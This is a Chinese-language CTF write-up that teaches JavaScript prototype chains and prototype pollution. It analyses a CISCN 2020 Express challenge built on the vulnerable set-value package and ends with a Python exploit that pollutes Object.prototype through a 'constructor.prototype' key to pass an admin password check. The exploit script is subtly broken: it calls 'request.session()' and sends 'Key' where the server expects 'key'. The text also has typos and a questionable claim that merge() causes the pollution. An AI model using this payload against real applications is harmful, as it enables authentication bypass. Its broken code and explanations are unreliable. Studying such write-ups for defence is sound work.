做题时遇到一个JS原型链污染的题目,由于之前没有学过,就详细的学习和了解一下。
在了解原型链之前,先了解一下JS创建对象的几种方式
// 第一种方式:字面量 var shy1 = {name: 'shy1'} var shy2 = new Object({name: 'shy2'}) // 第二种方式:构造函数 var M = function (name) { this.name = name; } var shy3 = new M('shy3') // 第三种方式:Object.create var lemon = {name: 'lemon'} var shy4 = Object.create(lemon) console.log(shy1) console.log(shy2) console.log(shy3) console.log(shy4)
原型对象、构造函数、实例
一开始直接看概念,有点看不懂的,结合图和代码来看
var M = function (name) { this.name = name; } var shy = new M('lemon')
shy
就是实例,M
就是构造函数。new
一个构造函数生成的。__protpo__
指向的是原型对象。prototype
也是指向原型对象。construor
指向的是构造函数。这些结论中有的会在下面进行验证
什么是原型链?
当谈到继承时,JavaScript 只有一种结构:对象。每个实例对象( object )都有一个私有属性(称之为
__proto__
)指向它的构造函数的原型对象(prototype
)。该原型对象也有一个自己的原型对象(__proto__
) ,层层向上直到一个对象的原型对象为null
。根据定义,null
没有原型,并作为这个原型链中的最后一个环节。
简单理解起来就是:
原型组成的链,对象的__proto__
是原型,而原型也是一个对象,也有__proto__
属性,原型的__proto__
又是原型的原型,就这样可以一直通过__proto__
向上找,这便是原型链,当向上找找到Object
的原型的时候,这条原型链便算结束了。
在JavaScript中,如果要定义一个类,需要以定义“构造函数”的方式来定义:
function lemon() { this.bar = 1 } new lemon()
lemon
函数的内容,就是lemon
类的构造函数,而this.bar就是lemon类的一个属性。
一个类必然有一些方法,类似属性this.bar
,可以将方法定义在构造函数内部:
function lemon() { this.bar = "hello world" this.show = function() { console.log(this.bar) } } (new lemon()).show()
这样写的话有一个问题,就是每当新建一个lemon
对象时,this.show = function...
就会执行一次,这个show
方法实际上是绑定在对象上的,而不是绑定在“类”中。
如果在创建类的时候只创建一次show
方法,这时候就则需要使用原型(prototype
)了。
function lemon() { this.bar = "hello world" } lemon.prototype.show = function show() { console.log(this.bar) } let shy= new lemon() shy.show()
原型prototype
是类lemon
的一个属性,而所有用lemon
类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。
需要注意的是可以通过lemon.prototype
来访问lemon
类的原型,但lemon
实例化出来的对象,是不能通过prototype
访问原型的,如上图而是需要通过shy.__proto__
属性来访问lemon
类的原型,也就验证了上面的
shy.__proto__ == M.prototype #true
prototype
是一个类的属性,所有类对象在实例化的时候将会拥有prototype
中的属性和方法__proto__
属性,指向这个对象所在的类的prototype
属性所有类对象在实例化的时候将会拥有prototype
中的属性和方法,这个特性被用来实现JavaScript中的继承机制.
function Father() { this.first_name = 'letme' this.last_name = 'shy' } function Son() { this.first_name = 'the' } Son.prototype = new Father() let son = new Son() console.log(`Name: ${son.first_name} ${son.last_name}`)
Son类继承了Father类的last_name
属性,最后输出的是Name: the shy
。
对于对象son
,在调用son.last_name
的时候,实际上JavaScript引擎会进行如下操作
son.__proto__
中寻找last_nameson.__proto__.__proto__
中寻找last_name__proto__
就是null其他的知识不必再过于深究,记住下面的知识即可
constructor
)都有一个原型对象(prototype
)__proto__
属性,指向类的原型对象prototype
prototype
链实现继承机制上面所说的
shy.__proto__ == M.prototype
那如果修改了shy.__proto__
中的值,是不是就可以修改M类,下面通过一个例子来看下:
// shy是一个简单的JavaScript对象 let shy= {bar: 1} // shy.bar 此时为1 console.log(shy.bar) // 修改shy的原型(即Object) shy.__proto__.bar = 2 // 由于查找顺序的原因,shy.bar仍然是1 console.log(shy.bar) // 此时再用Object创建一个空的lemon对象 let lemon= {} // 查看lemon.bar console.log(lemon.bar) 最后,虽然lemon是一个空对象{},但lemon.bar的结果是2
因为修改了shy的原型shy.__proto__.bar = 2
,而shy
是一个Object
类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2。
然后又用Object类创建了一个lemon
对象let lemon = {}
,lemon对象自然也有一个bar属性了。
在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。
既然知道了什么是原型链污染了,接下来就通过题目进行训练一下:
ciscn2020初赛的一道题目,源码如下:
var express = require('express'); const setFn = require('set-value'); var router = express.Router(); const COMMODITY = { "sword": {"Gold": "20", "Firepower": "50"}, // Times have changed "gun": {"Gold": "100", "Firepower": "200"} } const MOBS = { "Lv1": {"Firepower": "1", "Bounty": "1"}, "Lv2": {"Firepower": "5", "Bounty": "10"}, "Lv3": {"Firepower": "10", "Bounty": "15"}, "Lv4": {"Firepower": "20", "Bounty": "30"}, "Lv5": {"Firepower": "50", "Bounty": "65"}, "Lv6": {"Firepower": "80", "Bounty": "100"} } const BOSS = { // Times have not changed "Firepower": "201" } const Admin = { "password1":process.env.p1, "password2":process.env.p2, "password3":process.env.p3 } router.post('/BuyWeapon', function (req, res, next) { // not implement res.send("BOOS has said 'Times have not changed'!"); }); router.post('/EarnBounty', function (req, res, next) { // not implement res.send("BOOS has said 'Times have not changed'!"); }); router.post('/ChallengeBOSS', function (req, res, next) { // not implement res.send("BOOS has said 'Times have not changed'!"); }); router.post("/DeveloperControlPanel", function (req, res, next) { // not implement if (req.body.key === undefined || req.body.password === undefined){ res.send("What's your problem?"); }else { let key = req.body.key.toString(); let password = req.body.password.toString(); if(Admin[key] === password){ res.send(process.env.flag); }else { res.send("Wrong password!Are you Admin?"); } } }); router.get('/SpawnPoint', function (req, res, next) { req.session.knight = { "HP": 1000, "Gold": 10, "Firepower": 10 } res.send("Let's begin!"); }); router.post("/Privilege", function (req, res, next) { // Why not ask witch for help? if(req.session.knight === undefined){ res.redirect('/SpawnPoint'); }else{ if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) { res.send("What's your problem?"); }else { let key = req.body.NewAttributeKey.toString(); let value = req.body.NewAttributeValue.toString(); setFn(req.session.knight, key, value); res.send("Let's have a check!"); } } }); module.exports = router;
观察代码,在路由DeveloperControlPanel中发现了只要Admin[key] === password
便可以获取到flag,继续向下观察发现在路由Privilege下,如果req.session.knight
没有被定义,就重定向到/SpawnPoint,否则查看req.body.NewAttributeKey
和req.body.NewAttributeValue
是否被定义,未定义就直接"What's your problem?"了,如果都有定义就调用setFn(),将转为字符串后的req.body.NewAttributeKey
和req.body.NewAttributeValue
传入
代码最上面便定义了setFn
const setFn = require('set-value');
引入了set-value,但这个是有什么作用那
set-value is a package that creates nested values and any intermediaries using dot notation ('a.b.c') paths.
set-value是一个使用点表示法('abc')路径创建嵌套值和任何中介的程序包。
看了大师傅的博客,知道了原来是set-value存在原型链污染,可以跟着源码分析一下
#setFn(req.session.knight, key, value); #这里重点看一下set-value的set函数和result函数 function set(target, path, value, options) { if (!isObject(target)) { return target; } let opts = options || {}; const isArray = Array.isArray(path); if (!isArray && typeof path !== 'string') { return target; } let merge = opts.merge; if (merge && typeof merge !== 'function') { merge = Object.assign; } const keys = isArray ? path : split(path, opts); const len = keys.length; const orig = target; // 注意这个条件语句 if (!options && keys.length === 1) { //出现了一个result函数,跟进一下 result(target, keys[0], value, merge); return target; } for (let i = 0; i < len; i++) { let prop = keys[i]; if (!isObject(target[prop])) { target[prop] = {}; } if (i === len - 1) { result(target, prop, value, merge); break; } target = target[prop]; } return orig; } 再跟进一下result函数 function result(target, path, value, merge) { if (merge && isPlain(target[path]) && isPlain(value)) { target[path] = merge({}, target[path], value); //使用了merge(),实现了两个对象合并,存在赋值操作,便出现了原型链污染 } else { target[path] = value; } }
最后来梳理一下整个的流程,以免混乱
传入的NewAttributeKey和NewAttributeValue最终会进行merge()合并操作,req的原型是Object,Admin的原型也是Object,所以修改req的原型便可以实现原型链污染
POC:
https://snyk.io/vuln/SNYK-JS-SETVALUE-450213
照着提供的POC改一下就行了
import requests session = request.session() url = 'xxxx' json1 = { "NewAttributeKey" : "constructor.prototype.Sn0w", "NewAttributeValue" : "Sn0w" } json2 = { "Key" : "Sn0w", "password" : "Sn0w" } session.get(url+'SpawnPoint') session.post(url+'Privilege', json=json1).text print(session.post(url+'DeveloperControlPanel', json=json2).text)
https://www.cnblogs.com/chengzp/p/prototype.html
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x01-prototype**proto**
https://www.cnblogs.com/Lziyang/p/13559860.html